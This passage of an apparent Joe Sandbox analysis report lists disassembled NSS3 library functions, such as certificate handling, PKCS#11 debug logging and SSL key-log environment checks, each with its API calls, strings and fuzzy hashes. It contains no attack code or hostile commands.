Opcode Fuzzy Hash: 0ce4d7577a42c6ab9f3fb3ed38102a4461d07564c2999a13be4af8dadd2762e4
Instruction Fuzzy Hash: 38F19EB5C00219AFEF00DF64D884B9EBBB4FF09318F1A4169ED05A7611E731E995CB91

Function 6CFB9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFB9FBE

Part of subcall function 6CF92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CF92F0A
Part of subcall function 6CF92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF92F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFBA015

Part of subcall function 6CFD1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CFD563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CFD195C
Part of subcall function 6CFD1940: EnterCriticalSection.KERNEL32(?,?,6CFD563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CFAEAC5,00000001), ref: 6CFD1970
Part of subcall function 6CFD1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CFAEAC5,00000001,?,6CFACE9B,00000001,6CFAEAC5), ref: 6CFD19A0

PL_FreeArenaPool.NSS3(?), ref: 6CFBA067
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CFBA055

Part of subcall function 6CF14C70: TlsGetValue.KERNEL32(?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14C97
Part of subcall function 6CF14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CB0
Part of subcall function 6CF14C70: PR_Unlock.NSS3(?,?,?,?,?,6CF13921,6D0F14E4,6D05CC70), ref: 6CF14CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBA07E
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CFBA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CFBA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CFBA0CF
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CFBA12E
PL_FreeArenaPool.NSS3(?), ref: 6CFBA140
PL_FinishArenaPool.NSS3(?), ref: 6CFBA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBA158
PL_FinishArenaPool.NSS3(?), ref: 6CFBA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CFBA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFBA1B2
free.MOZGLUE(00000000), ref: 6CFBA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CFBA1D6

Part of subcall function 6CFD55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CFAEAC5,00000001,?,6CFACE9B,00000001,6CFAEAC5,00000003,-00000004,00000000,?,6CFAEAC5), ref: 6CFD5627
Part of subcall function 6CFD55E0: PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0,?,?,?,?,?,?,?,?,?,?,6CFAEAC5,00000001,?,6CFACE9B), ref: 6CFD564F
Part of subcall function 6CFD55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFAEAC5,00000001), ref: 6CFD5661
Part of subcall function 6CFD55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFAEAC5), ref: 6CFD56AF

Strings

security, xrefs: 6CFBA00F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 3fb364a1bd9facbd244607dd00c10aac67f747f97a55c3c2ebba84d19d7db409
Instruction ID: b0cb97cb433e166663a61fba751df2898e47f13808ebca27e2f5b417bfa6091e
Opcode Fuzzy Hash: 3fb364a1bd9facbd244607dd00c10aac67f747f97a55c3c2ebba84d19d7db409
Instruction Fuzzy Hash: 57510BB5D00209ABEB109BA5DC40FAF73B8AF4574CF114124E819BBB51FB75D509CBA2

Function 6CFC6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CFC6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC6DC3

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFC6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFC6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CFC6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CFC6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CFC6EB9

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC6DBC
hSession = 0x%x, xrefs: 6CFC6D9E, 6CFC6DAE
*pulDigestLen = 0x%x, xrefs: 6CFC6EB4
ulDataLen = %d, xrefs: 6CFC6E0E
pData = 0x%p, xrefs: 6CFC6DF5
pulDigestLen = 0x%p, xrefs: 6CFC6E42
nm, xrefs: 6CFC6E61, 6CFC6E95
C_Digest, xrefs: 6CFC6D81
pDigest = 0x%p, xrefs: 6CFC6E27

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nm
API String ID: 1003633598-3145477635
Opcode ID: 13ecc7c06a04911546a50ea01df4679f91411acc516c26293d05fe8654e9a3e5
Instruction ID: 5294a160b0fc76f079a3a9dc0af11a8e7f478d9233dfc3286ded7af935dd1cae
Opcode Fuzzy Hash: 13ecc7c06a04911546a50ea01df4679f91411acc516c26293d05fe8654e9a3e5
Instruction Fuzzy Hash: 0341D235709105AFEB109BA5ED84FAB3BB1EB92318F194025FD08E7212DB31D854CBA6

Function 6CFC9C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CFC9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC9CA3

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CFC9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFC9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFC9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CFC9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CFC9D42

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC9C9C
hSession = 0x%x, xrefs: 6CFC9C7E, 6CFC9C8E
C_LoginUser, xrefs: 6CFC9C61
pPin = 0x%p, xrefs: 6CFC9CF0
ulUsernameLen = %d, xrefs: 6CFC9D3D
userType = 0x%x, xrefs: 6CFC9CD5
pUsername = 0x%p, xrefs: 6CFC9D24
nm, xrefs: 6CFC9D5A, 6CFC9D91
ulPinLen = %d, xrefs: 6CFC9D0B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nm
API String ID: 1003633598-306525724
Opcode ID: 770f32739bd5d011d7b9bce74bd6c4acf7c1e7bb0051168b459637c8fd980ae5
Instruction ID: 4015d17885752c356064791adddd88a4daf9f884ab245e9fe03e59dea68562ed
Opcode Fuzzy Hash: 770f32739bd5d011d7b9bce74bd6c4acf7c1e7bb0051168b459637c8fd980ae5
Instruction Fuzzy Hash: 2041D271605146ABEB00DF64ED88F9F3BB5FB5230DF594064E908A7252DB31CA14CBA3

Function 6CFD6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFD6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CFD6943
Part of subcall function 6CFD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CFD6957
Part of subcall function 6CFD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CFD6972
Part of subcall function 6CFD6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CFD6983
Part of subcall function 6CFD6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CFD69AA
Part of subcall function 6CFD6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CFD69BE
Part of subcall function 6CFD6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CFD69D2
Part of subcall function 6CFD6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CFD69DF
Part of subcall function 6CFD6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CFD6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CFD6D8C
free.MOZGLUE(00000000), ref: 6CFD6DC5
free.MOZGLUE(?), ref: 6CFD6DD6
free.MOZGLUE(?), ref: 6CFD6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CFD6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFD6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFD6E72
free.MOZGLUE(?), ref: 6CFD6EA7
free.MOZGLUE(?), ref: 6CFD6EC4
free.MOZGLUE(?), ref: 6CFD6ED5
free.MOZGLUE(00000000), ref: 6CFD6EE3
free.MOZGLUE(?), ref: 6CFD6EF4
free.MOZGLUE(?), ref: 6CFD6F08
free.MOZGLUE(00000000), ref: 6CFD6F35
free.MOZGLUE(?), ref: 6CFD6F44
free.MOZGLUE(?), ref: 6CFD6F5B
free.MOZGLUE(00000000), ref: 6CFD6F65

Part of subcall function 6CFD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CFD781D,00000000,6CFCBE2C,?,6CFD6B1D,?,?,?,?,00000000,00000000,6CFD781D), ref: 6CFD6C40
Part of subcall function 6CFD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CFD781D,?,6CFCBE2C,?), ref: 6CFD6C58
Part of subcall function 6CFD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CFD781D), ref: 6CFD6C6F
Part of subcall function 6CFD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CFD6C84
Part of subcall function 6CFD6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CFD6C96
Part of subcall function 6CFD6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CFD6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFD6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CFD6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CFD6FF4

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: b7024390fc6f558c7f9cb610cb4db0818034dd5569b51a5aa9ec6e30f66a9507
Instruction ID: f6ccb8c295dca280bdc5a875df1d5a0e4b5fc5b5e227ba455733ffece3e28d47
Opcode Fuzzy Hash: b7024390fc6f558c7f9cb610cb4db0818034dd5569b51a5aa9ec6e30f66a9507
Instruction Fuzzy Hash: 04B13BB1E0120A9BEF00CBA5D844BDEBBB8AF49308F1E0925F815E7641E731B954CB65

Function 6CFD4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFD4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CFD4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4DB7

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

TlsGetValue.KERNEL32 ref: 6CFD4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CFD4DEC
PR_Unlock.NSS3(?), ref: 6CFD4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CFD4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CFD4E71
free.MOZGLUE(00000000), ref: 6CFD4E7A
PR_Unlock.NSS3(?), ref: 6CFD4EA2
TlsGetValue.KERNEL32 ref: 6CFD4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CFD4ED6
PR_Unlock.NSS3(?), ref: 6CFD4F01
free.MOZGLUE(00000000), ref: 6CFD4F2A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 68e005962c8f2bea7f99611f9cf887a720b1fcfa9b35c14d201aba46cac6f8b5
Instruction ID: 6bc19fc67365dcede5f41c9c4aacd103b67393927fc46315827ea163293560a2
Opcode Fuzzy Hash: 68e005962c8f2bea7f99611f9cf887a720b1fcfa9b35c14d201aba46cac6f8b5
Instruction Fuzzy Hash: D8B1E475900206AFEB00DF68E884BAA7BB4FF49318F1A4124ED1597B51E731F960CBD1

Function 6CFDFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFDFFB4

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFDFFC6

Part of subcall function 6D0598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D059946
Part of subcall function 6D0598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF116B7,00000000), ref: 6D05994E
Part of subcall function 6D0598D0: free.MOZGLUE(00000000), ref: 6D05995E

PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFDFFD6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFDFFE6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFDFFF6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0006
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0016
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0026
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0036
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0046
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0056
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0066
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0076
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0086
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE0096
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE00A6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE00B6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE00C6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE00D6
PR_NewLock.NSS3(?,?,6CFD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFA75C2,00000000), ref: 6CFE00E6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 553fe0b48f6d72327fae4e4b830945ce10f2dab84620639e41b0e10cd8e7c45c
Instruction ID: 50c8803eba628e942011ba307ac63689900fc1285829b3283066125ae7983aa6
Opcode Fuzzy Hash: 553fe0b48f6d72327fae4e4b830945ce10f2dab84620639e41b0e10cd8e7c45c
Instruction Fuzzy Hash: 7F3123F0C057989F9B66DF35B24031A3AB4F617A087B2516AEE04CB240D7F42156CFD6

Function 6D026E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6D026BF7), ref: 6D026EB6

Part of subcall function 6CF81240: TlsGetValue.KERNEL32(00000040,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81267
Part of subcall function 6CF81240: EnterCriticalSection.KERNEL32(?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF8127C
Part of subcall function 6CF81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81291
Part of subcall function 6CF81240: PR_Unlock.NSS3(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6D0CFC0A,6D026BF7), ref: 6D026ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D026EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6D026EFC
PR_NewLock.NSS3 ref: 6D026F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D026F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6D026BF7), ref: 6D026F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6D026BF7), ref: 6D026F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6D026BF7), ref: 6D026FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6D026BF7), ref: 6D026FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6D026EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6D026FDB
SSLKEYLOGFILE, xrefs: 6D026EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6D026F4F
SSLFORCELOCKS, xrefs: 6D026F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6D026FF8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: eb4012d00c96a4358a96e06d8b450a89958dd49d49e8aa06348e8dbc607bf0d6
Instruction ID: e685d85ec27b99db8ebff87c9d63f6f0f67afd0885ca5bd14e5fd9ca703a1d67
Opcode Fuzzy Hash: eb4012d00c96a4358a96e06d8b450a89958dd49d49e8aa06348e8dbc607bf0d6
Instruction Fuzzy Hash: E4A1E0B2D6BA4186FB51873DD8013A837E2BBC3326FF88365ED35876D5DB7595008282

Function 6CFA5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFA5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CFA5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CFA5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CFA5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CFA5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CFA5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CFA5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CFA5F49
